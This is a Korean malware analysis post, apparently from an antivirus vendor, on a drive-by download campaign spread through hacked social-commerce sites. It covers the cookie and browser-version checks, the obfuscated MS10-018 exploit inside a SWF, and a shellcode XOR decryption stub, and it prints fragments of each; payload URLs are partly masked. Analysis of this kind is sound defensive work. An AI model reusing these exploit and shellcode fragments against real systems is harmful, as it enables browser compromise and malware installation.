소셜커머스(Social Commerce) 사이트를 통한 악성코드 유포사례(1)
소셜커머스(Social Commerce) 사이트를 통한 악성코드 유포사례(2)
Win-Trojan/Agent.33592272(V3)
Win-Trojan/Agent.33606100(V3)
JS/Agent(V3)
HTML/Agent(V3)
SWF/Cve-2010-2884(V3)
HTML/Agent(V3)
악성 스크립트가 삽입된 해당 사이트의 페이지는 아래와 같다.
http://***************/common/script.php?l=b4b7caa5611fae1fb130505ccdb53a15&t=.js

[그림 1] 악성 스크립트 주소가 삽입된 페이지
ee.js는 아래처럼 main.html을 다운로드 한 후 실행하는 스크립트로 아래 코드를 저장하고 있다.
document.write(““);
main.html은 해킹된 해당 사이트에 접속한 PC로부터 쿠키, Internet Explorer 및 Flash Player의 버전을 체크하여
악성코드를 다운로드하는 스크립트로 main.html의 구조를 요약해 보면 아래와 같다.

[그림 2] main.html의 동작구조
main.html – Cookie 체크루틴
해킹된 웹 사이트를 통해서 유포되는 악성 스크립트의 대부분이 Cookie 체크루틴 사용하는데 이는 감염된 PC가 해킹된 웹 사이트에 재 접속 시 중복감염을 방지하기 위한 목적으로 사용된다.
main.html이 실행되면 helpor_net()를 호출하도록 되어 있다.

[그림 3] main.html의 쿠키체크 루틴: helpor_net() 호출 루틴
get_cookie('baker')==''라면 SetCookie()를 호출하여 Cookie를 생성하고 감염과정이 진행되지만 Cookie에서 baker라는 문자열이 존재하면 location.replace(“about:blank”);를 호출하고 감염과정을 진행하지 않는다.
main.html – IE버전 체크루틴
main.html에서 Internet Explorer의 버전을 체크하는 이유는 해킹된 사이트에 접속했을때 사용한 브라우저의 버전에 따라 취약점의 동작여부가 결정되기 떄문이다. 즉, 예를들면 IE 8에서는 동작하는 취약점이 IE 6, 7에서는 동작하지
않을 수 있다라는 의미이다.

[그림 4] Internet Explorer 버전체크
악성 스크립트에서 브라우저의 버전을 체크하는 방법은 navigator.useragent.toLowerCase()를 자주 사용하며 위 스크립트를 실행하면 아래 그림처럼 브라우저 버전이 포함된 정보가 포함된 경고창이 출력된다.

[그림 5] navigator.useragent.toLowerCase()
main.html – duam.html & 625.swf 분석
duam.html는 625.swf라는 플래시 파일을 다운로드하는 기능을 가진 스크립트로 아래와 같다.
http://test.*******.com/data/625.swf' width=0 height=0 type=application/x-shockwave-flash scale='exactfit' allowScriptAccess='always'>
625.swf는 플래쉬 취약점을 공격하는 플래시 파일은 아니며 내부에 MS10-018취약점을 공격하는 스크립트를 가진 파일이다.
// flash 8, total frames: 1, frame rate: 12 fps, 1×1 px, compressed
frame 1 {
flash.external.ExternalInterface.call('eval', 'eval(String.fromCharCode(118,97,114,32,115,117,110,32,61,32,39,77,77,53,50,56,51,56,52,78,78,88,88,37,117,48,67,48,67,37,117,57,48,
위 난독화된 스크립트를 풀면 MS10-018 취약점 코드와 Shellcode가 존재한다.
{
var d=document.createElement('DIV');
d.addBehavior('#default#userData'); // MS10-018 취약점 코드
document.appendChild(d);
//—- 중간생략 —-//
}
Shellcode의 일부는 암호화되어 있으며 아래 복호화 루틴을 통해서 복호화된 후 실행된다.
00401002 . 90 nop
00401003 . 90 nop
00401004 . EB 10 jmp short 00401016
00401006 $ 5B pop ebx
00401007 . 4B dec ebx
00401008 . 33C9 xor ecx, ecx
0040100A . 66:B9 7A04 mov cx, 47A
0040100E > 80340B C2 xor byte ptr [ebx+ecx], 0C2
00401012 .^ E2 FA loopd short 0040100E
00401014 . EB 05 jmp short 0040101B
00401016 > E8 EBFFFFFF call 00401006
; 47A = 암호화된 Shellcode의 크기
; [ebx+ecx] = 암화된 Shellcode가 위치한 주소,
; 0C2 = 암호화된 Shellcode를 복호화할 때 사용하는 키
복호화된 Shellcode에는 악성코드를 다운로드하는 URL(http://test.*******.com/data/095.com)이 존재한다.
main.html – funs.html & cee.css 분석

[그림 6] MS11-003 취약점 공격코드
cee.css에 존재하는 prepare()의 내용을 살펴보면 아래와 같다.

[그림 7] prepare()에 존재하는 Shellcode
prepare()에도 마찬가지로 암호화된 Shellcode가 존재하며 복호화하면 악성코드를 다운로드하는 URL(http://184.***.***.82/funs.exe)가 존재한다.
Categories:악성코드 정보